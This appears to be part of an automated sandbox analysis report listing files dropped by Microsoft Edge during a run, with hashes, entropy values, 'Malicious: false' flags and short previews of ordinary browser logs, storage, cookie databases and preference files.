SSDEEP:	12:k9OvLZYeb8rcHEZrELFUt8/9S/+/9vz54ZYeb8rcHEZrEZSJ:k9MlYeb8nZrExg8/9b9vloYeb8nZrEZe
MD5:	6585B03076B5AADD86A6248E857EA40C
SHA1:	2FF4D63499201E51268408C5A2A069BFE2465E90
SHA-256:	A28D15B5BEDDCEA496106C7CB614D913F24FB43C2C2C4A2752FE8060C2EBDBB5
SHA-512:	BC79F1072778A6B9235A4B78B9EBE0A08162A2E22E7C5C79D33BD209366E08755D980641E6C3AF3E5FEE0EFBC78DDA196448931633F61221106473FF22BF0CA4
Malicious:	false
Preview:	2024/11/21-16:04:47.930 cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-16:04:47.931 cb8 Recovering log #3.2024/11/21-16:04:47.932 cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.294439738590099
Encrypted:	false
SSDEEP:	12:k9OvLZYeb8rcHEZrELFUt8/9S/+/9vz54ZYeb8rcHEZrEZSJ:k9MlYeb8nZrExg8/9b9vloYeb8nZrEZe
MD5:	6585B03076B5AADD86A6248E857EA40C
SHA1:	2FF4D63499201E51268408C5A2A069BFE2465E90
SHA-256:	A28D15B5BEDDCEA496106C7CB614D913F24FB43C2C2C4A2752FE8060C2EBDBB5
SHA-512:	BC79F1072778A6B9235A4B78B9EBE0A08162A2E22E7C5C79D33BD209366E08755D980641E6C3AF3E5FEE0EFBC78DDA196448931633F61221106473FF22BF0CA4
Malicious:	false
Preview:	2024/11/21-16:04:47.930 cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/21-16:04:47.931 cb8 Recovering log #3.2024/11/21-16:04:47.932 cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.6679401944068415
Encrypted:	false
SSDEEP:	24:KaZWwHLvX6XZ9W+llV0374iPeMyUWDN7UlHNlp/BkTN5zgFHHmi28/V:KaZDvKXZU+llV0374GyUC7Os+HH328t
MD5:	DE2BB4DE08640AD3DE08305C3B413CD9
SHA1:	E32D117AB640835796E8926DAB51BB133DCED9DD
SHA-256:	901F6B2162F88D0ACFEF32D1602AA73C0085974D295E28CCCB04DC1845DC4662
SHA-512:	A1C382BC2C787F27CDD35CD90095DB16C4661AD54C038D5A6987F0AC866985A8906923CB8CC50765D8A8239CCE12954D730C7F7EA73CB7E12BA4019F7DD73817
Malicious:	false
Preview:	I.w}.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732223098705.._https://ntp.msn.com..MUID!.3AFA34AF60E96DDF261E219161EE6CD7.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732223098807,"schedule":[38,-1,-1,16,-1,18,-1],"scheduleFixed":[38,-1,-1,16,-1,18,-1],"simpleSchedule":[26,20,21,23,25,22,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732223098664.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241120.492"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Nov 21 2024 16:04:57 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.h..$................META:https://ntp.msn.com.............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.156844077030735
Encrypted:	false
SSDEEP:	6:HE9MSqM+q2PcNwi23oH+Tcwt8a2jMGIFUt8YE9qXZmw+YE9A2MMVkwOcNwi23oHr:k9MSqM+vLZYeb8EFUt8/9qX/+/9A2MMB
MD5:	76171E4209EBC71D0DC2E35D625FE0C6
SHA1:	3A000B44A40EA1AC768A74CA1EA15604D0735FFC
SHA-256:	A3B6C37046551468B2DCBE4065EEC0A0B1D7433BB619686669044217E5F48D7C
SHA-512:	311558401A246365F0663CB8D35834826B6F724A889D593199FE45B5F49A7BF4F39F699DDE8C0AF0F8AD3F38CFB38DFABF731ADBD30D586436ED2182C3532F4C
Malicious:	false
Preview:	2024/11/21-16:04:43.442 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:04:43.443 d8c Recovering log #3.2024/11/21-16:04:43.446 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.156844077030735
Encrypted:	false
SSDEEP:	6:HE9MSqM+q2PcNwi23oH+Tcwt8a2jMGIFUt8YE9qXZmw+YE9A2MMVkwOcNwi23oHr:k9MSqM+vLZYeb8EFUt8/9qX/+/9A2MMB
MD5:	76171E4209EBC71D0DC2E35D625FE0C6
SHA1:	3A000B44A40EA1AC768A74CA1EA15604D0735FFC
SHA-256:	A3B6C37046551468B2DCBE4065EEC0A0B1D7433BB619686669044217E5F48D7C
SHA-512:	311558401A246365F0663CB8D35834826B6F724A889D593199FE45B5F49A7BF4F39F699DDE8C0AF0F8AD3F38CFB38DFABF731ADBD30D586436ED2182C3532F4C
Malicious:	false
Preview:	2024/11/21-16:04:43.442 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/21-16:04:43.443 d8c Recovering log #3.2024/11/21-16:04:43.446 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\000a07b5-db1a-4ca1-8af1-6956ae9c2306.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\008783ab-9621-4a34-b286-8d27e97cd19a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\14853fc2-035b-4e86-b073-5525b7699ed4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.817420673505134
Encrypted:	false
SSDEEP:	192:tTr2hWw12I4VZAVQyrHPeGSaAKJdkiWc+Z0c4p0L/ZJVb:VSD12rVZAQp0lp0LhJVb
MD5:	DFAF19D883A55196CC6D72013478EE16
SHA1:	9120335496453A246E22B67556E464AEBEE86EAA
SHA-256:	B69A5B2BE6A4F3C6CEA95CB360B5878560D2E001A46E8EF613937A792D3457D7
SHA-512:	9EEEF2A74A9F7074C20A81ABD8EDEC8932E049FECBC838A56625A0F2569841A1D62CE9C7EFDD75F28DC5444980ED3C6B473B2F69764BD071B1C08A835A79CC37
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF39a2e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.278393876337842
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cS2Wl:JkIEumQv8m1ccnvS0DHiibM1a
MD5:	87E66B6B2D9C4990BAA5CA3004B2A4EE
SHA1:	F3CBC537DB51B25803E59F7DC947FF68C6F1FB54
SHA-256:	6B83542AD3BBA629698688AE37D8DDEA922A8CB59C3B719FEC95B550703689E4
SHA-512:	6CAE08F03340125F45F8F77C5B887913EE17836C5BB216E3D6B7589D5BEB635088A0906DB87F9B06C00BE00D95180CB2B91B95EA06B733721C52B396501EDE01
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF28bdb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2a251.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\aaa926c0-0d5a-43b0-b171-33ef70c21761.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c3ee095e-437d-436b-a869-abc94e7f844f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cd745b4d-152e-43d9-8245-32322c779576.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.310258757293639
Encrypted:	false
SSDEEP:	48:YcCpfgCzsA7JtsIAfc7leeBkBRsyWCgHpHYhbyD0:F2fnVq2keBkBWTp4hn
MD5:	E4DCEC575004DC771119B3935E13CCC2
SHA1:	639BAE7E5E8B6B9B30412BF989C35205A6067FA5
SHA-256:	733EFC080BA78158660A3D257DA9B023EF4032BEFD96FC5159D93C26BEAAD664
SHA-512:	349262676E9B83C957DC25D0978489CBECFCB0AFDB2960876C1B337867E8723E98201876EFB3620721956FEEF4EEC5C019B9E9EE0701AD5A69AD789BD3472335
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379288687719058","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379288692382653","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.10929819790534
Encrypted:	false
SSDEEP:	192:stgkdpd/sWAyaNP9kWVG8jbV+FNgQA+eMPhYJ:stgQd/sWAtJBbGSQu7
MD5:	FAF111FCCD9E3A8121695D9D066190D0
SHA1:	68F4567E1B7F0A4C4FFD2F4EE7EDEA9B230DB6FB
SHA-256:	C51A931085A2E6C581F286A3276F3EF8CCA1B9C4266676C2D840A99D934CAB13
SHA-512:	DA72247DD899C886E9D80B8A0E402F8CAD17E79C377931390E09BE1B97F5EEDB05E4A0CB7D136B13B7B82935D5326C00F024D4A0C3D8AE8513AAAF295E025580
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2d45d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.10929819790534
Encrypted:	false
SSDEEP:	192:stgkdpd/sWAyaNP9kWVG8jbV+FNgQA+eMPhYJ:stgQd/sWAtJBbGSQu7
MD5:	FAF111FCCD9E3A8121695D9D066190D0
SHA1:	68F4567E1B7F0A4C4FFD2F4EE7EDEA9B230DB6FB
SHA-256:	C51A931085A2E6C581F286A3276F3EF8CCA1B9C4266676C2D840A99D934CAB13
SHA-512:	DA72247DD899C886E9D80B8A0E402F8CAD17E79C377931390E09BE1B97F5EEDB05E4A0CB7D136B13B7B82935D5326C00F024D4A0C3D8AE8513AAAF295E025580
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF31270.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.10929819790534
Encrypted:	false
SSDEEP:	192:stgkdpd/sWAyaNP9kWVG8jbV+FNgQA+eMPhYJ:stgQd/sWAtJBbGSQu7
MD5:	FAF111FCCD9E3A8121695D9D066190D0
SHA1:	68F4567E1B7F0A4C4FFD2F4EE7EDEA9B230DB6FB
SHA-256:	C51A931085A2E6C581F286A3276F3EF8CCA1B9C4266676C2D840A99D934CAB13
SHA-512:	DA72247DD899C886E9D80B8A0E402F8CAD17E79C377931390E09BE1B97F5EEDB05E4A0CB7D136B13B7B82935D5326C00F024D4A0C3D8AE8513AAAF295E025580
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF387af.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
